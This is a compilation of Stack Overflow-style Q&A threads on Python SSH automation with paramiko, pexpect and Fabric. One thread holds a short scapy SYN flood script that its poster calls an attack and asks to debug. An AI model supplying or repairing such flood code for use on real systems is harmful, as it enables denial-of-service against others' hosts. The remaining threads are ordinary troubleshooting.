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Paramiko recv() works in the interactive mode but doesn't work inside script

I am trying to read banner from one of the switch using paramiko module in python. This is the code which i am using for the same
import socket
import sys
import paramiko
import subprocess
a=paramiko.SSHClient()
a.set_missing_host_key_policy(paramiko.AutoAddPolicy())
a.connect('10.22.158.19',username='admin',password='airwave')
b=a.invoke_shell()
b.recv_ready()
b.recv(1000)
When I run above I am not getting any output , but when i comment last line in the script and when i execute last command in shell b.recv(1000) is giving actual output
>>>
>>> b.recv(1000)
'Last login: Tue Aug 22 23:10:25 2017 from 10.20.14.150\r\r\n(AirwaveMM-19) [mynode] #'
>>>
Does anyone of you have any clue what is wrong here ?

You should write like this:
while not b.recv_ready():
time.sleep(0.1)
print b.recv(1000)
The recv_ready() function checks if data is ready but it does not wait for the data to be ready.

Python-Application .desktop-shortcut causing malfunction

I wanted to create a desktop launcher for my Python application. The application executes various ssh operations over pexpect with publickey-authentication. The problem is however, when I start my app with the .desktop launcher it doesn't work properly. The ssh connections ask for a password and don't use the publickeys. But it works fine via commandline execution.
The .desktop File looks like this:
[Desktop Entry]
Version=1.0
Name=SSH-Manager
Comment=XYZ
Exec=python /home/userx/SSH-Manager/startup.py
Icon=/home/userx/SSH-Manager/resources/icon.png
Path=/home/userx/repos/SSH-Manager
Terminal=true
Type=Application
Categories=Utility;Application;
StartupNotify=false
The desktop environment is KDE and the desktop user is the same as the commandline user.
Can someone explain why I get such strange behavior with the launcher?
Edit: Example function
def run(self):
self.a_signal.emit("Retrieving Data")
try:
session = pxssh()
session.force_password = False
hostname = self.client
username = "root"
session.login(hostname, username)
session.sendline("ls -a")
session.prompt()
session.logout()
except ExceptionPxssh as e:
print ("pxssh failed: ")
self.error_signal.emit("failed", str(e))
print e
return
self.process_output()
self.finish_signal.emit("done")

As Mirosław Zalewski suspected in the comments, the problem was the ssh-agent was not running for the desktop-environment because ssh-add was initially used in the /etc/sources. Executing ssh-add in the X-users ~./profile therefore solves the problem.

python error on synflood attack

I am writing code for synflood attack but when I run the file via python I get errors.
SYNFlood.py file:
import sys
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
target_ip = sys.argv[1] # the ip of the victim machine
target_port = sys.argv[2] # the port of the victim machine
print ("ip "+target_ip+" port "+target_port)
send(IP(src="192.168.x.x", dst="target_ip")/TCP(sport=135,dport=target_port), count=2000)
But when I am running the file with:
python SYNFlood.py target_ip target_port
I get the following error:
I have tried to alter the code as the following:
while (1==1):
p=IP(dst=target_ip,id=1111,ttl=99)/TCP(sport=RandShort(),dport=int(target_port) ,seq=12345,ack=1000,window=1000,flags="S")
send(p, count=10)
But even if on cmd I get
when I run on target pc the command netstat -A I dont see syn_recv packets.
I have tried with
send(p, verbose=0, count=10)
but I dont have any output neither on dst pc nor src pc with respective commands.

Try reinstalling scapy or scapy3k. This sounds like a build issue. Confirm you are using the correct scapy version.

I figured out that I had to run the program on windows 32-bit version.

Unable to identify the host : Fabric

I m trying to use fabric module through simple python module
remoteExc.py
from fabric.api import *
def clone_repo(IPADDRESS,USER,fPath,git_url):
env.hosts_string = IPADDRESS
env.user = USER
env.key_filename = fPath
env.disable_known_hosts = 'True'
run('git clone %s' % (git_url))
mainFile.py
from remoteExc import clone_repo
clone_repo(ipAddress,user,fPath,git_url)
When i execute it says
python mainfile.py
No hosts found. Please specify (single) host string for connection:
Please enlight me where i make a mistake

Typo. env.host_string = IPADDRESS - you've got an env.hosts_string instead.
Also, generally you run fabric via fab - unless you're trying to do something fairly non-standard, be aware that running it via python probably isn't what you want to do. See the Fabric docs for a pretty good intro.
http://docs.fabfile.org/en/1.7/tutorial.html

Easy way to suppress output of fabric run?

I am running a command on the remote machine:
remote_output = run('mysqldump --no-data --user=username --password={0} database'.format(password))
I would like to capture the output, but not have it all printed to the screen. What's the easiest way to do this?

It sounds like Managing output section is what you're looking for.
To hide the output from the console, try something like this:
from __future__ import with_statement
from fabric.api import hide, run, get
with hide('output'):
run('mysqldump --no-data test | tee test.create_table')
get('~/test.create_table', '~/test.create_table')
Belows is the sample results:
No hosts found. Please specify (single) host string for connection: 192.168.6.142
[192.168.6.142] run: mysqldump --no-data test | tee test.create_table
[192.168.6.142] download: /home/quanta/test.create_table <- /home/quanta/test.create_table

Try this if you want to hide everything from log and avoid fabric throwing exceptions when command fails:
from __future__ import with_statement
from fabric.api import env,run,hide,settings
env.host_string = 'username#servernameorip'
env.key_filename = '/path/to/key.pem'
def exec_remote_cmd(cmd):
with hide('output','running','warnings'), settings(warn_only=True):
return run(cmd)
After that, you can check commands result as shown in this example:
cmd_list = ['ls', 'lss']
for cmd in cmd_list:
result = exec_remote_cmd(cmd)
if result.succeeded:
sys.stdout.write('\n* Command succeeded: '+cmd+'\n')
sys.stdout.write(result+"\n")
else:
sys.stdout.write('\n* Command failed: '+cmd+'\n')
sys.stdout.write(result+"\n")
This will be the console output of the program (observe that there aren't log messages from fabric):
* Command succeeded: ls
Desktop espaiorgcats.sql Pictures Public Videos
Documents examples.desktop projectes scripts
Downloads Music prueba Templates
* Command failed: lss
/bin/bash: lss: command not found

For fabric==2.4.0 you can hide output using the following logic
conn = Connection(host="your-host", user="your-user")
result = conn.run('your_command', hide=True)
result.stdout.strip() # here you can get the output

As other answers allude, fabric.api doesn't exist anymore (as of writing, fabric==2.5.0) 8 years after the question. However the next most recent answer here implies providing hide=True to every .run() call is the only/accepted way to do it.
Not being satisfied I went digging for a reasonable equivalent to a context where I can specify it only once. It feels like there should still be a way using an invoke.context.Context but I didn't want to spend any longer on this, and the easiest way I could find was using invoke.config.Config, which we can access via fabric.config.Config without needing any additional imports.
>>> import fabric
>>> c = fabric.Connection(
... "foo.example.com",
... config=fabric.config.Config(overrides={"run": {"hide": True}}),
... )
>>> result = c.run("hostname")
>>> result.stdout.strip()
'foo.example.com'

As of Fabric 2.6.0 hide argument to run is not available.
Expanding on suggestions by #cfillol and #samuel-harmer, using a fabric.Config may be a simpler approach:
>>> import fabric
>>> conf = fabric.Config()
>>> conf.run.hide = True
>>> conf.run.warn = True
>>> c = fabric.Connection(
... "foo.example.com",
... config=conf
... )
>>> result = c.run("hostname")
This way no command output is printed and no exception is thrown on command failure.

As Samuel Harmer also pointed out in his answer, it is possible to manage output of the run command at the connection level.
As of version 2.7.1:
from fabric import Config, Connection
connection = Connection(
host,
config = Config(overrides = {
"run": { "hide": "stdout" }
}),
...
)